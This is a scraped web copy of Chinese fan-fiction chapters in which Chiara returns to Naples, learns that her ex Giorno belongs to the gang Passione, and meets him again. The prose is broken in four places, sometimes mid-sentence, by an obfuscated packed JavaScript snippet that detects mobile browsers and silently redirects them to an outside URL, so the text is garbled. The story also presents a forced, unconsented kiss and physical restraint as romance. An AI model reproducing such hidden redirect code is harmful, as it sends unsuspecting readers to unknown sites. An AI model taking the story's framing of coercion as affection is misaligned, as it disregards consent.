这么想着,她回过头看了一眼那被称作乔巴那的男人,又看了一眼他的妻子,他们两人都是深发色,而非金发。 那么,他们应该就不是她所认识的、乔鲁诺的亲戚之类的吧? 意大利应该没有这么小。 抱着这样的心理安慰,琪亚拉下了飞机。 她有点忐忑—— 万一那对夫妇真的和乔鲁诺有点什么关系,她岂不是刚从异国他乡结束自己的逃跑,一回来就要撞见乔鲁诺? 那也太尴尬了。 但好在这样的假设没有发生,机场外面并没有那个熟悉的金色身影。 异国夫妇和飞机上的路人男子,三人结伴一起搭乘计程车离开了。 琪亚拉松了口气,但不知为何,又有点失落。 她回到了自己当初独自落脚的公寓,打开房门,简单怀念了一下过去的时光,就开始手脚麻利地收拾屋子,打包自己需要的东西。 剩下的东西,她打算打电话让管家叫人带回庄园。 不过难得回来一趟,琪亚拉决定在那不勒斯待够一个周末再离开。 她约了很久没有见面的菲奥娜,又问了布加拉提和特里休的地址,打算到时候带离别礼物去拜访他们。 当这些邀约完成,琪亚拉不知不觉点开了乔鲁诺的个人界面,对着那个属于他的对话框发了会儿呆。 她在这座城市生活了那么久,从前却从来没有听说过他的事迹,她猜测对方应该不是本地人,很有可能只是为了上大学才来到这里,之后还会离开。 她这次一走,他们两人就不知道还要到什么时候才见面了。 人和人之间的缘分其实是很脆弱的,就连父母子女之间也是如此,琪亚拉都快想不起来自己上次和父亲在同一张桌子上吃饭是在什么时候了。 去年的圣诞节吗? 不,那时候她没有回家。 前年的复活节? 不,父亲那时候好像和商业伙伴去海上游玩了。 就连血脉相连的亲人都能这么陌生,她和乔鲁诺一旦没有了那层单薄的恋爱关系,两个人之间又还能剩下什么维系? 什么也不会剩。 窗户在这时传来微弱的敲击声,琪亚拉从纷乱的思绪中回过神来,走到窗边,打开窗门。 甚至还没到巴掌大的小鸟,“咻”一下从窗外飞了进来。 是过去乔鲁诺送给她的那只。 它过去神秘地消失,现在又奇迹般地出现了。 琪亚拉怜爱地握住它,用指腹蹭了蹭它柔软的羽毛,随后压低了声音对它道: “你怎么回来了?……可是我要走了,没法照顾你,你回去找乔鲁诺吧,好不好?” 小鸟自顾自地用鸟喙啄着翅膀上的羽毛,对琪亚拉的真挚劝告置若罔闻。 这下麻烦了,琪亚拉必须要给它找个值得托付的主人才能离开。 菲奥娜的电话打了过来,她向琪亚拉确认明天见面的时间和地点。 “对……就是那里。”琪亚拉和她一起核对了一遍,然后问道,“对了,菲奥娜,你家里可以帮忙养宠物吗?我有一只小鸟,但是我现在没办法照顾它,你可以帮帮我吗?” “你什么时候养的鸟?”菲奥娜疑惑了一会儿,然后恍然大悟,“我想起来了,之前那个人是不是给你送过一只?” 琪亚拉轻声温柔地回答:“对。它本来走丢了,但是今天又回来了。” 菲奥娜像被踩到尾巴一样大叫起来: “怎么会有这样的鸟?又不是所有动物都能像人一样聪明,你还是小心点,赶紧把那只鸟放生了吧,小心有诈!” “虽然我因为乔鲁诺被牵连过,但是他不是坏人,我觉得你对他有些刻薄了。”琪亚拉说。 “拜托,”菲奥娜这下不仅是被踩到尾巴了,还活像火烧眉毛了,“【乔鲁诺不是坏人——】” 她掐着嗓子阴阳怪气地重复了一遍琪亚拉的话,接着忍不住冷笑: “我一直没有告诉你,因为说出这件事还是需要一点勇气的,但是现在,鉴于情况特殊,我不得不告知你,琪亚拉—— 你一直以为善良而友好的那个男人,乔鲁诺.乔巴那,之所以能够牵连你被绑架,是因为,他是【热情】的一员。” 琪亚拉的脑子“轰”的翁鸣了一声。 热情,又是热情。 她脑子里闪过布加拉提的脸,又闪过特里休欲言又止的话语,还有纳兰伽、阿帕基的吞吞吐吐、古怪神情…… 接着她想起乔鲁诺明明在学校挂有学籍,却总是很忙不到学校,却总有空每天缠着她约会。 一切串联在一起,那份原本略显荒谬的陈述竟然慢慢被补充得无比真实。 一直以来,琪亚拉总觉得自己的生活像是被一张大网网住,可她看不清蛛丝的痕迹,只觉得生活中处处都有些不对劲的地方。 一旦知道了乔鲁诺的身份,原本觉得异常的那些事情,忽然就找得出缘由了。 怪不得她会遭到奇怪的绑架,绑架事件又能那么快解决,还被压得无声无息; 怪不得纳兰伽和阿帕基作为【热情】的行动小队长,会闲得没事屡屡光顾她的小店; 怪不得特里休知道那么多,要说那些似是而非的话。 原来如此。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258103|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是有一点琪亚拉还不能确认,那就是布加拉提也是【热情】的成员,他在其中又扮演什么角色? 毕竟她和乔鲁诺是在他的咖啡店里相遇的。 “他不仅是【热情】的一员,”菲奥娜咬牙切齿地道,“他还是【热情】的BOSS呢!……琪亚拉,你不知道我得知了这个惊天秘密之后,每天都是以一种什么心情在劝你分手!这真的太可怕了!” 在这座城市的旧远记忆里,曾经发生过黑.帮当街殴打名人致死的案件,由于性质恶劣,对方后来被关进了监狱,但是据说他在监狱里的生活愉快得就像是度假。 菲奥娜对这类人员向来深恶痛绝。 琪亚拉也对他们敬而远之。 布加拉提的温柔和特里休的真诚打动了她,她以个人的身份和布加拉提、特里休结交……但并不代表她能接受乔鲁诺也是【热情】的一员。 无论谁是都可以,纳兰伽、阿帕基,布加拉提,特里休……他们是什么身份都可以,琪亚拉不会因为朋友身份的改变,而改变对他们的态度。 但是乔鲁诺…… “……你劝我的那些话是对的,菲奥娜,”琪亚拉勉强扯出了笑容,但是那笑容里全是苦涩,她说,“我不该和他有太多牵扯。” “对吧,他的身份——”菲奥娜还想说什么。 “不,”然而琪亚拉忧郁地打断了她,“我对开展这段恋情感到后悔,不止是因为他的身份,更多的是,事到如今,我发现自己依然不能以对待其他所有人的平常心去对待他。” “我喜欢他,菲奥娜,这次我终于能够确认了,迄今为止见过的所有人里,只有乔鲁诺对我的意义是不一样的。即便分开了这么久,我依然会为和他相关的所有事感到触动。” 好友的话语,让菲奥娜忍不住陷入了沉默。 她无法理解,也无法回答琪亚拉的话语。 “你知道的,我很讨人喜欢,我有这个能力,因为我的长相、家庭……还有一些其他的背景原因什么的。” 琪亚拉接着说,菲奥娜从电子转化的声音中,听出了她淡淡的哀伤。 “可是恰恰是因为我的这些外在条件太讨人喜欢了,我经常会对着那些信誓旦旦说爱我的人的眼睛,忍不住去想,他们到底爱我什么?他们真正爱的是我吗?还是只是我的外表,我的家庭,还有我伪装出来的温柔顺从?” “所有人好像都爱我,可是我从来没有办法在他们身上感觉到我是被爱的。我总是觉得心里空落落的。” “只有乔鲁诺,和乔鲁诺在一起的时候我从来不会去想这个问题……就像我站在舞台的灯光下开始演奏,我知道台下的观众在倾听我的灵魂……你明白我的意思吗,菲奥娜?” “我知道他爱我,正如我也爱他,可是我们不会在一起,不是因为他的身份,是因为人和乐器不一样,乐器永远不会背叛它的主人。” “我感到后悔,不是因为乔鲁诺是谁,而是因为……我的过去决定了我不会和他在一起,我不想伤害他,更不想伤害我自己,我很难过,菲奥娜。” 如果不是因为父母的前车之鉴历历在目,琪亚拉相信,自己说不定会成为菲奥娜最瞧不起的那种恋爱脑,她对乔鲁诺的感情已经达到了—— 其实并不需要去寻找什么人生道路,她只要和他坐在一块儿,处在同一个屋檐下,就会感到内心的充盈与满足。 她做不了菲奥娜希望她成为的那种独立女人。 她需要“被看见”。 而乔鲁诺会看见她。 所以她无可救药地对他充满了情感依赖。 如果不是母亲……如果不是母亲。 她或许真的会留下来,放下其他所有,一心想着和他在一起。 她的人生太平稳太顺遂,所以琪亚拉没有什么崇高的理想,她心里唯一需要填满的地方,就是能有个人陪着她、爱着她。 但是不幸的是,在现实世界中,这个看上去简单的小要求,比成为国家总统、或者拯救地球还要困难。 成为总统可以被称为理想,拯救地球可以被称为梦想,而有一个人能够永远地陪伴身侧,人们往往称这种想法为—— 幻想。 24.24 我最终还是没有去见特里休和布加拉提。 但是,离开以前,我分别给他们寄了礼物。 原本我是打算连着乔鲁诺的份也一起寄了,但鉴于我们关系的结束是我单方面提出的分手,所以最终作罢。 我把原本打算留给乔鲁诺的礼物压在了箱底,让管家帮我整理物品的时候一起带回庄园。 和菲奥娜一起度过了周末,第三天,我就离开了意大利。 ……光阴似箭。 我没有想到,这一次离开,再回来,就是三年以后。 菲奥娜已经升职到梦寐以求的岗位,母亲的诊所扩大了规模,父亲的葡萄园已经开始委托专人管理,探索多元化发展的可能性。 外祖父母彻底退休,他们躲到了某个偏远小岛的豪华别墅开始享受剩余的人生。 我加入的第一支乐队已经解散,但多亏了在这只队伍里的表现,有更好的乐队向我投来了橄榄枝,我们一起努力了两年,终于获得了不小的成就。 很快,我们就要在大洋另一边举办一场规模盛大的演出。 只是我最近的状态不太好,经纪人额外开恩给我批了一个短假,让我能够散散心,调整一下状态。 该去的地方都已经去过了,光是在家躺着也补充不回状态,我想了想,干脆久违地回来参观一次家乡。 听说父亲现在都不往外跑了,放下了葡萄园的产业,在庄园里经营家庭;而母亲的控制欲也似乎削弱了很多,她和父亲的感情重新升温,证据就是不久前,他们给我添了一个妹妹。 我实在没想到,自己二十多岁还能迎接来一个血脉相连的妹妹,这感觉太奇妙了。 ……所以,既然他们都给我添了一个妹妹了,我再不回家看看,真的实在说不过去。 我真想知道过去那个压抑的“家”,现在到底变成了什么样。 怀抱着这样复杂的情感,我带着自己乐队的朋友,一路从美国飞回了那不勒斯,又领着他回了庄园。 “妈妈,这是芬恩,我们乐队的吉他手。” 母亲没给我什么好脸色,但出于良好的修养,她还是微微朝着我和芬恩点了点头。 这情况完全在我的意料之中,她一直反对我离开家乡出去玩乐队,“我们家族从来没有人从事过这样的行当”,这是她当初跨洋电话指责我的原话。 但是我现在经济独立了,又住得远,她管不着我。 管家还偷偷告诉过我,现在母亲非常害怕我再也不回家,所以每次给我打完电话后都会偷偷哭泣,她已经尽力避免和我进行争论了。 唉,妈妈。 想到这里,我的心情不免复杂起来,即便她现在没有给我好脸色,我依然甘之如饴。 毕竟母亲永远是母亲,我对她感到尊敬。 在记忆里已经模糊了轮廓的父亲,这时候也发言了。 “回来了就好,”他的语气硬邦邦的,充斥着和我不熟的尴尬,“这是你的妹妹维拉。” 他指了指坐在儿童椅上、穿着公主裙的一个小女孩。 我早就看见了——但还是顺着他的话又看了自己这个更为陌生的妹妹一样。 葡萄一样又大又圆的黑色眼睛,卷曲又柔软的额发,白皙的肌肤和殷红的嘴唇。 “真可爱,”我发自内心地夸奖,“像白雪公主。” “哼,”母亲却道,“而你小时候像天使。所有见到你的人都说你就像教堂里的壁画。” 我扯扯唇角,一方面有点感动于母亲对我的认可,另一方面感到警惕—— 果不其然,她的下一句话就是: “我真是不明白,我明明把你生得这么美丽又聪明,你为什么非要去……” 管家轻咳一声。 母亲的指责戛然而止,她把滔滔不绝的抱怨咽回了肚子里,半晌,我听见她失落的一声: “算了。” “好歹在这一行里干得不赖。” …… 她的确变了很多。 吃过晚饭,谢绝了管家提出的家庭影院的建议,我开车带着芬恩在外游荡。 我的车技已经进步了许多,至少不会再担心多开几次车就会被吊销驾照了。 “刚才让你见笑了,我妈妈就是有点爱唠叨,其实她还是爱我的……只是人们对于表达爱的方式看法不一样吧。”我东一句西一句地瞎扯着话题。 “哈哈,”芬恩笑着附和,“看得出来。而且你也爱她,很明显的。” “我一直很爱她,也很崇拜她,虽然有时候会因为她而痛苦,但是没有她就没有我。”我说。 芬恩突然注意到街边角落里的酒馆: “嘿,琪亚拉,我们过去那边喝一杯吧?好久没放松了。” 我同意了他的提议。 乐队虽然取得了一定成就,但还没有火爆到所有人都能认出我们的程度,所以在路边找了个地方停车,我和芬恩就大喇喇地直接走进了酒馆。 酒馆的装潢不算特别,但所有搭配和选项都非常舒适,让人宾至如归,这里放的音乐也很好听,芬恩一坐下,就赞不绝口: “这里真不错。” 我漫不经心地说是的。 芬恩开始点单,问我意见,我说听他的就可以。 他于是一个人点了两杯酒,接着回头对我说: “我发现你一回到意大利,就有点心神不宁,本来我认为那是你对于回家的忐忑,可是你都已经回过家了,看起来还是心不在焉的。为什么?” “哦,这里毕竟是我的故乡,”我说,“我在担心自己可能在没有准备的情况下和以前的朋友相遇。我还没想好到时候怎么和他们打招呼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264320|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芬恩狐疑:“这需要为难吗?直接说‘嗨’不就行了吗?” 我说:“对我来说,挺难办的。” 芬恩沉默。 服务员端来了两杯酒。 “比起那个,”他问我,“我上次和你商量的事情,你觉得怎么样?” “可以考虑。”我简短地回答。 芬恩松了口气,露出大大的笑容,他低头捣鼓起来,随后从口袋里掏出一枚戒指,戒指上大大的粉色碎钻在灯光下熠熠生辉: “那就好,我真的非常……” 他的话说到一半,突然有人踉跄着撞过来,倒在我们这一桌上,酒水随之洒落,我赶紧站起来避开,芬恩离得近,没那么好运,湿了半条裤子。 他咒骂着什么,肇事者不停地和他道歉,语气可怜,说着自己的贫穷和凄惨境遇,诉说的故事简直闻者伤心,见者落泪,芬恩于是摇摇手让对方离开,不追究他的责任。 然而,等那个撞翻我们的家伙走了好一阵子以后,芬恩才反应过了,他的昂贵戒指不见了。 “该死的!”他骂了一声,火急火燎地冲出去了。 我付了钱结完账,紧跟着出去,就在酒馆不远处,看见了芬恩和一个熟悉的金色身影。 乔鲁诺手里捏着一枚戒指,递给芬恩。 我的脚步停在了在原地。 三年过去了,我竟然还记得他的名字每个字母要怎么拼写,也还能辨认出他的五官和几年前比又有了怎样的成长和蜕变。 乔鲁诺敏锐地注意到了我的视线,抬起头来,目光越过芬恩,和我对视。 芬恩也回过头,他接过戒指,笑容灿烂地和我招手,高声道: “有好心人帮我们把戒指找回来了,小琪!” 我不太想挪动脚步往那个方向过去。 芬恩没有多想,丢下乔鲁诺,主动朝我跑了过来,然后迫不及待地把戒指塞进我手里,让我评价: “漂亮吧?我自己设计的,你看怎么样?” 乔鲁诺站在远处,一动不动,五官藏在夜色中,我看不清楚他脸上的神态。 芬恩想要向我们乐队的主唱吉娜求婚,他咨询了我很多意见,我知道他们情投意合,想要撮合他们,所以一直很配合。 但是,在不知情的人眼里看来,我和芬恩如今一起欣赏同一枚戒指的举动,怕是亲密得有点过分了吧? 乔鲁诺会怎么想呢? 他有新的恋人了吗?他还在意吗?他还能认出我吗? 疑惑缠绕之下,我根本无心顾及芬恩,手上握紧了戒指,面上却忍不住对着乔鲁诺怔怔出神。 ……他怎么还站在那里? 过来呀,快过来。 让我们能够面对面地交谈一次吧? ……不管理智怎么阻止,见到你的一瞬间,我发现我还是很在意你。 25.25 为了感谢乔鲁诺,芬恩邀请他和我们一起喝酒。 我低着脸没说话,就这么听着芬恩发出邀约。 邀约才发出去,街角的转弯处,一个穿着露腰上衣、带着帽子的男人出现了。 “怎么这么久还没回来,发生什么事了吗,乔鲁诺?” 男人明显是乔鲁诺的同伴。 他看起来总让我觉得有点眼熟,我好像在哪里见过他,但是想不起来了。 “没什么,米斯达。”乔鲁诺的语气一如既往,淡淡的,带着运筹帷幄的冷静从容,“只是碰巧遇见这位先生丢了东西,我帮他把东西找回来而已。” “哦。”米斯达没把乔鲁诺的举动当回事,也没把我和芬恩当回事,他根本没有多看我们一眼,“那我们走吧。” “等等,”芬恩急了,“不是说好了一起喝一杯吗?” 显然的,他很想表达自己对乔鲁诺的感谢。 乔鲁诺也很配合。 不知道是不是故意的,他先是有意无意地用眼角余光扫了我一眼,然后才郑重地回答芬恩: “虽然是举手之劳,不过能得到邀请,我感到很荣幸。” “我们就一起去吧,米斯达,”接着,乔鲁诺又回过头和同伴说,“也该到休息时间了。剩下的事情明天再说吧。” “你要拖到明天吗?……我倒是无所谓。”名为米斯达的男人单手叉着腰,侧身对着我们,半边脸隐藏在阴影中,浑身散发着一种难以捉摸的气息,“不过这不像你平时的作风。” “所以,”乔鲁诺问,“你要一起吗?” 在他的询问之下,这位同伴最终还是点了头。 我们四个人一起走进酒馆,周围空气像是被压缩过了,薄薄的,让人难以呼吸,气氛诡异。 “这是我的朋友琪亚拉,”在点单的间隙,芬恩往旁边撤了一步,露出一直默默躲在他阴影里的我,像乔鲁诺介绍道,“她是本地人,我是跟着她来到那不勒斯的。” “我叫芬恩,在美国做摇滚乐队,我是吉他手。”接着,他又挺起胸膛自我介绍,“下个月,我们要开一场演唱会,我打算在演唱会上求婚……兄弟,你抢回戒指,真是帮大忙了!” 他很激动。 对比之下,乔鲁诺却显得冷淡得过分。 “是吗?”他的表情没有任何变化,嘴巴上却说着,“恭喜。” 然后越过坐在我们中间的芬恩,他的目光直直地看向我: “没想到只是过去了几年,你发生了这么大的变化,琪亚拉。” 他叫出了我的名字,这下我不能再装聋作哑了,只能尴尬地扭过头,伸出手掌朝他打招呼: “是啊……嗨,好久不见,乔鲁诺。” 芬恩呆住了,左右张望,视线不断地在我和乔鲁诺身上徘徊: “怎么回事?你们认识?小琪?” “嗯,可能因为那不勒斯不是很大吧。”我试图糊弄了事。 “哦?”坐在最左侧的米斯达听到交谈,感兴趣地也探过了身子,问乔鲁诺,“难得见你主动和女孩子打招呼呢,你们关系很好吗?” 当着正主的面直接八卦,这位先生也太不避讳了。 搞不懂乔鲁诺现在对我是什么看法,我不敢贸然回答,把头又扭了回来,继续当缩头乌龟。 但是耳朵还是忍不住竖了起来,偷听他们之间的谈话。 乔鲁诺却没有回答这个问题。 “请问一下,你们的乐队叫什么?”乔鲁诺对芬恩问道,“主要是在哪些地方演出呢?我对这方面恰巧也很感兴趣。” 他们就这么聊了起来。 酒水到了台前,我没吭声,默默灌了自己半杯。 米斯达绕过人群,走到我身边,举杯对我示意,我回他同样的礼节,随后一起将酒精吞进肚子里。 “小姐,”米斯达问道,“你的同伴说,你是那不勒斯本地人?你家在哪里呢?” 我把庄园的地址报给他。 米斯达想了想:“我知道那里,之前刚好有事去拜访过,环境很不错。” 他开始说自己工作上的一些笑话,抹掉了重要信息,比如说工作内容和人名之类的,但是仍然绘声绘色,听得人忍俊不禁。 我不知不觉又喝了两杯。没有注意到周围的灯光似乎慢慢变得暗淡。 米斯达说话实在是太有意思了,我忍不住趴到了桌子上,弯起了眼睛看他。 隔壁桌的年轻人似乎在玩游戏,声音有点大,我听不清身边的人在说什么了,于是他朝着我俯下身来,似乎是想要凑到我耳边接着说下去—— 哎? 天旋地转。 我被人从椅子上扯了起来。 “你喝醉了。” 一个淡淡的、好像泛着光晕的人影,介入了我和米斯达中间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289398|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有点头昏脑胀,使不上力气。 “小琪?”芬恩在叫我。 我好像喝太急了,现在正在酒精上头,好在我还没算完全醉过去。 难受地捂了捂脑袋,我站起身来,朝芬恩笑了笑:“抱歉,我想回去了。你还要留在这里吗?” “一起走吧。”芬恩说。 乔鲁诺按住了芬恩扶着我的手。 “坐我的车吧。”他说,“我没有喝。” 他指了指自己那杯满满的酒杯,确实一口没有少。 米斯达被无情地抛弃了。 芬恩在酒馆里还很精神,一到车上,沾到座位,就开始鼾声如雷了。 我还在晕着,把额头贴在冰凉的玻璃窗上,嘴里控制不住地嘟囔着。 “他叫你小琪,”乔鲁诺在驾驶位上突然开口了,“你们什么时候认识的?” 我没反应过来:“啊?” “你要答应他的求婚吗?”他又问,“但我看你们的感情不是很好,你差点和米斯达亲上,他一点都不在乎。” “你在说什么啊?”我感到有点羞恼了,“我才没有……不,那个人是你的朋友吧?你就这么看他和我?” 我才不是那种和刚见面的陌生人亲吻的类型。 不过仔细回忆一下,刚才在酒馆里的氛围确实有点古怪。 “正因为熟悉,我才知道他在想什么,”乔鲁诺的语气依旧冷淡,但嘴巴里吐出来的话语却让人忍不住打颤,“你很漂亮,琪亚拉。米斯达虽然不会随便散发自己的魅力到处去勾引异性,但是如果能坐在同一张桌子上,他绝对忍不住想要和你接触。” 我不知道说什么了:“你这么说话很没有礼貌。” “事实上,我一直在努力维持我的礼仪。”车停了下来。 我直觉有点不妙,背后生出鸡皮疙瘩,寒意浸透四肢。 我下意识地往后贴,直到背部的每一寸肌肤都贴在车座的皮革上。 但乔鲁诺回过头,伸出手,轻而易举地就抓住了我。 他轻轻用力,我就控制不住地往他的方向倾倒。 “今天晚上,你一直在挑衅我,你不觉得吗,琪亚拉?” 他漂亮的绿色眼睛冷冰冰的。 “我该继续维持体面吗?看着你接过其他男人的戒指,和其他男人接吻,我应该为你们鼓掌奏乐吗?帮你们把门关上吗?” 26.26 乔鲁诺在发怒。 我有点害怕,又不是很怕。 可能因为,他身上总有种让我无所顾忌的安全感。 但我的身体还是和我的意识相悖,轻轻发起了抖。 我抿紧了唇,没有作答。 乔鲁诺也没有说话。 过了好一会儿,我总算是找到了自己的声音。 “我没有……算了,我们都已经三年没有联系,就算我和其他人做什么,也跟你没有关系吧?” 既然他说我在挑衅,那我干脆就挑衅给他看。 我抬起下巴对着他。 我们的确三年没有联系了,至于为什么没有联系,谁主动提出来的……别管了,我不会愧疚的。 “不,”乔鲁诺说,“我默许你离开,不是为了让你做这些的。” “我不需要得到你的批准。”我冷冷地指出。 “那么你以为,我是为什么三年以来都没有去打扰过你的生活?”乔鲁诺语气深沉,他的绿眸紧盯着我的双眼,“因为我爱你。” 突然听到这句话,我不知道该作何反应了。 他凑近了些。 我下意识想要往后退,但他牢牢禁锢着我,我无法逃离。 “……因为我爱你,”他重复了一遍,低声说,“所以我希望你能够自由、快乐,过上你喜欢的生活。但是,我不接受你和除了我以外的任何人在一起。” “没有人会比我更了解你,”他说,“我不相信有其他人会对待你、比我对待你更用心。” ——我爱你,琪亚拉。 他执着地用那双绿色的漂亮眼睛向我传递这句话。 我心头一颤。 强行压在心底的愧疚,这时翻涌着、卷土重来。 尽管如此,我还是转过脸,紧紧抿着唇,无声地用表情表达我的抗拒。 我的确渴望爱情,这是人性的需求。 可是这是一场豪赌,一如既往,我不敢入场。 我很高兴他仍然能对我说出这样的话语,但另一方面,又觉得悲哀与恐惧。 “我已经有自己的人生了。”我说,“或许我们就只能到此为止了。” “我不接受。”他答得飞快。 我转回脑袋,第一次感到荒谬: “我已经不在意大利开着咖啡店等待你的到来了。我现在有自己的事业,在其他国家,我有其他的朋友……” 我努力用空闲的另一只手摸索着芬恩交给我保管的戒指,将那颗硕大的钻石展示给乔鲁诺: “我还有戒指!……醒醒,乔鲁诺,我们只是玩了几天扮家家酒的游戏,又不是陪伴了彼此大半辈子!这三年来我和芬恩天天呆在一块演出训练,我和他说话的时间都比和你认识的时间长!” 那颗戒指被他一瞬间夺走了,动作快得我甚至都没看清楚那是怎么发生的,他做得比偷走芬恩戒指的小偷还流畅。 “现在没有了。”他对我耍无赖。 我忍不住笑了,气的。 “还回来。”我说。 那可是芬恩真的打算拿来和他心上人求婚的戒指啊! 我开始后悔了,不该拿同伴的东西开玩笑,我真是气昏头了,不过以乔鲁诺的人品,他应该不至于把戒指真的丢掉。 乔鲁诺不动。 我知道他想要什么。 为了弥补自己犯下的愚蠢错误——趁一切还来得及,我赶紧开口,实话实说: “对不起,我刚才是骗你的,那不是我的戒指,那是芬恩拿来向另一个女孩求婚的戒指……还给我吧,乔鲁诺,如果戒指真的丢了,我会很不好意思的。” 他怔了一下。 “我刚才那么说只是想让你知难而退,”我补充,“不管戒指是谁的,我们之间根本就没有可能。何况我除了外表也没有什么出众的地方,你不应该是那种在乎外貌的人,所以我对你来说还能有什么特别的呢?……没有的话,还是请你去找更适合你的女孩子吧。” 我向来觉得自己很一般。 真要讨论外貌优势,乔鲁诺自己也不差。 我是真的搞不懂他对我念念不忘的理由。 我虽然期待过他对我的爱,但是当这真的发生了,我只觉得不真实。 “你总是这样。”他微微松开了我的手,我连忙把手收了回来,往后躲,但他又俯身扣住了我的腰……天知道他的肢体为什么那么柔软,能在狭窄的车座中做出这种动作。 “我总是搞不懂你评价自己的标准,那到底是根据什么制定的?”他接着说,声音轻轻的,泡了蜜一般,听得人忍不住手脚发软,“你很漂亮,这还不够吗?……不仅是外表,你的所有一切,都在闪闪发光。我第一次见到你的时候,简直不敢相信世界上会有你这样的存在,你美丽得像个童话。” “你可能认识我并不久,但我从很早以前就已经知道你了。”他的气息越发近了,酒精好像重新发挥起了作用。 我脸上烫得厉害,耳朵里的声音朦朦胧胧的,我听见他接着往下说: “学姐,我请求过你,给我一个机会吧,你却连我的名字都没记住。……我走过了很远的路,才终于和你站在了同一片天空下,而你竟然这么看待自己。” “什么……?”我呢喃着问,“唔……” 久违的亲吻。 他的动作难得粗暴,我几乎要喘不过气,慌张地扯着他的衣领想要推开他求生,但是屡次失败,他好像要和我同归于尽一样狠心。 直到芬恩在旁边发出一声哼唧,我才从晕晕乎乎的状态惊醒过来,恶狠狠地用上了所有的力气去抵抗他,用上了指甲……但也只是修剪得圆润的指甲。 我舍不得真的伤着他。 还是没用,他只是微微停顿了一下,我赶紧大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296498|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口呼吸了一轮,然后又被这个强硬的家伙拽了回去。 ……过了好一会儿,等到我的手机铃声响起,管家问我什么时候到家,乔鲁诺才彻底停下来。 我用手背揩过唇边多余的液体,又将滑落的衬衫外套重新拉回肩头。 “哦,咳咳……快了。”我含糊地回答。 管家嘱咐我尽可能早点回来,实在不行可以找个安全的酒店先住着,安全第一。 我说好的。 虽然妈妈从头到尾都没出现在电话里,但以往这样的电话都是她给我打的,我猜她现在不好意思直接“命令”我,所以请了管家代劳。 她有时候真的很别扭。 一想到管家背后可能隐藏着紧张的母亲,我就忍不住弯了弯眼睛。 但这份好心情在接触到同样形容狼狈的乔鲁诺时戛然而止,他总是编得一丝不苟的辫子都乱了……现在,他回到了驾驶位上,正背对着我整理头发。 我第一次看见他散下来的长发,像一片静谧月光。 “你要回家了?”他问。 “我们不就在回家路上吗?”我冷笑反问,“也不知道是为什么耽误了。” “你不知道吗?”他半侧过脸,挑起眉头看我,绿色的眼睛里全是故作疑惑的得意,“需要再来一次吗?” “我没有同意!”我连忙表态,“你真是太失礼了!” 他已经快速地重新绑好了头发。 “要报警吗,找菲奥娜?”他竟然这么回答。 就在我觉得这已经很不可理喻的时候,他又说:“还是让芬恩醒过来,让他给你主持公道,告诉他你和我……” “够了,”为了避免继续往下听,听到我不爱听的话,我猛的打断他,“不要再说了!……就当我同意了,这件事情过去了,可以吗?” “这是很严重的问题吧。”乔鲁诺重新启动车辆,语气轻松,我注意到戒指不知道什么时候重新回到了我的口袋里,他的动作真的快得离谱,“不说清楚怎么行呢?……你不是说,自己不能接受随便和人亲吻吗?那我们现在的关系算什么?” 我:“……算你不要脸。” “太遗憾了,我对此感到抱歉。”他这么说着,但是一点遗憾和抱歉的意思都没有。 “你就只有嘴巴上说的话算礼貌了。”我咬牙。 他轻哼一声,这次不再表态。 庄园渐渐近了。 我正在犹豫要不要开口请他帮我把芬恩扶进去。 其实也可以请管家,但不知道为什么……好吧,我承认了,我无论如何都有点想和乔鲁诺再待一会儿。 我总是言行不一,矛盾得自己都有点觉得苦恼,一边说着讨厌他,但是另一边我真的很喜欢他。 如果就这么开口的话,会不会被他看出我快要隐藏不住的好感呢? 我得找个办法遮掩一下。 27.27 为了不被看出异样,我绷紧了神情。 我很想问问乔鲁诺要不要留下来,可是一想到他的身份、还有我始终没能克服的对他的好感,这个问题就怎么也问不出口。 ……一点都不想暴露我还喜欢他这件事情。 管家就在这时候带着他的副手出现了,他注意到我没有把开出庄园的车开回来,驾驶位上换了人,并且……他肯定能看出来这辆车的价值并不输于父亲经常开出去彰显身份的那几辆。 “这位也是您的朋友吗,琪亚拉小姐?”他由此推断出来,请我确认。 